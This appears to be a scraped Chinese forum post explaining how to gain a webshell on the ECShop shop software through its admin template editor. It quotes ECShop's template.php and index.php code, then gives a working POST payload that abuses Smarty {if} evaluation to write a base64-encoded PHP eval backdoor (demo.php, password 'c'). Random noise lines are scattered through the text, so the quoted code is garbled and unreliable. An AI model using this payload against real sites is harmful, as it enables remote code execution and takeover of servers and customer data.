Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
/ e3 \! p, a3 @1 B* ^( W8 Y
! f4 E( n% J$ r, j而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
1 m- k: E! r' X% M& d; b- @
1 if ($_REQUEST['act'] == 'update_library')
  R+ D9 [  n" F' m
2   
. O* e+ p8 l3 V7 I7 v
3 s& _  f- V$ S3 {
) ^( p) ]; r+ o6 w8 M) H) ]4 u
4     check_authz_json('library_manage');

+ k. ~( {2 T" m" C: T. c5   

6     $html = stripslashes(json_str_iconv($_POST['html']));
  C8 H  L- n* q6 O
7   

- M3 c; S# H" ]' i7 }8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
5 T7 |7 T: C  e/ L: R
  @( r# N; L  w4 x2 N9   
  \( P2 V# o. ?: r' ~
- a: _$ R- Q  l& {* m3 L10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

9 P# z" h2 I7 |3 z. r. p9 M& _7 ^13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

1 x9 c& @  o$ t* y% Y15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

/ J- n0 M$ z( B; V17         make_json_result('', $_LANG['update_lib_success']);

- U( F8 \9 p& _. F- ~3 P: @* K$ T18     }

19     else

+ Y0 r1 \2 \7 Z1 J% {- D7 [20     {
. [% I, i1 q& `8 N6 D/ D
' }% Q2 U4 a9 x21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

. l7 T9 O5 p- w7 r4 M% i; M22     }

23 }
- M( C2 D. o9 g3 c, T
9 i' i6 x; b' V7 f' j; j那么找个比较方便调用了模板的文件
6 Z1 z" R6 \3 g6 J* {) Kindex.php
6 M" S* d( V4 {9 T! n, a5 T
; d; {, _4 ]( h* C6 j0 x1 i1 if ($act == 'cat_rec')
; Y' k. ?2 a. b8 ?, G( V- G
2   

/ b3 k: E# X3 f/ l8 w5 E9 `3 {
2 I# P0 Q* a* {/ X
4   
6 N6 v! m) L" [: ?9 F
3 |/ V& M( b9 i5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
" x- m% o" R' h, j- T) @* r, W
5 e# c5 k8 q0 v" u2 F* J6 e6   

6 t0 P* m; y' w# T7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
7 T8 u" v9 C! v* S! i+ n% v* i6 j
8   
9 ~/ \" K5 r6 R2 e3 b* b' t
# y0 O2 @5 D- m( Y: J9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

5 ^* G  g  B$ o" b10   

& I8 S% p1 ]( K- h; h  X& V& c& R11     include_once('includes/cls_json.php');
. N6 s' o1 A: e6 w/ |, Y
12   

+ C5 _8 \! j* ?7 E) ]13     $json = new JSON;

14   
* i# C. W+ F: r5 f2 S; p1 N" l
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; f! U' T5 \" I5 o9 W$ k
7 b& \4 Y1 d$ n8 x  q16   

( s# J7 L5 t$ p: E: `- b17     $children = get_children($cat_id);

18   
  |+ n" s) _2 m9 U6 x( i/ L
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
! I' h# x" h3 _1 L
20   

* E* N% E9 T0 O1 m( s% [* t5 H21     $smarty->assign('cat_rec_sign', 1);
# Q7 H2 P% e; i5 W( A$ l3 x& b
22   
* D/ T! n9 ?1 ]
$ z/ S6 a3 p9 i# B23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
3 a% `+ U) {/ a
; w5 ^5 c* S5 _! g) _4 W" b24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
2 I& m" e1 v% G+ _
26   

; P0 W/ C9 K/ d, c  R1 b( s4 M27         echo $rec_array[$rec_type];
5 G4 d( v( K) m0 T& I6 O
" Z* U; Q8 m+ d( x6 s8 x28   

- {  Z* m  q9 t+ x+ \29     die($json->encode($result));

* B* i- E% c% o0 G) n$ Y3 i$ j/ i5 |30   

31 }
/ O  V- ?/ `* H& K! s* E# m
那么就有利用方法了
, e% y: A" w) }7 F4 ]post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
- c" m" w' Q& B, ^
! X. }' H1 e" R; c) K4 @​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
0 O9 }# _) @/ G
然后访问http://localhost/ec/index.php?act=cat_rec

- ^# w5 I& }; k: u; K; ^, }6 fshel地址：http://localhost/ec/demo.php
8 p# _% y8 z" P5 m密码c
; ~9 ~) m' U+ U, D+ ]. G; d" o) d